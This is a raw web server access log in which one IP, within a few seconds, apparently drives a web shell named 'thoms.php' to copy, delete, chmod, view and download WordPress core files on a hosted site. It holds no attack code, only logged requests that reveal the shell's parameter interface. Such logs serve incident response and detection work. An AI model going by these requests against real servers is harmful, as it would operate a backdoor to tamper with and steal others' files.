45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fnav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fnav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13354 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59380 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12303 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?del=json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /big-wife.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /thoms.php?chmod=canonical.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:33 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32892 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fscript-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fscript-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13901 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15636 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48139 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13698 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12346 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?del=ms-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /big-wife.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29248 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /big-wife.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /big-wife.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?chmod=theme-templates.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /big-wife.com.tw/wp-includes/images/ HTTP/1.1" 200 1906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-IXR.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-IXR.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:35 -0400] "GET /thoms.php?del=bookmark.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /big-wife.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-files.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-files.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?chmod=http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29006 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwp-db.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwp-db.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?dl=plugin.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59304 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:36 -0400] "GET /thoms.php?del=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?dl=wp-db.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21233 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63159 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?dl=comment-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13741 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:37 -0400] "GET /thoms.php?dl=load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?dl=load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /big-wife.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12249 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?dl=widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?chmod=class-smtp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fregistration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fregistration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:38 -0400] "GET /thoms.php?dl=ms-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13112 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?del=theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12873 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
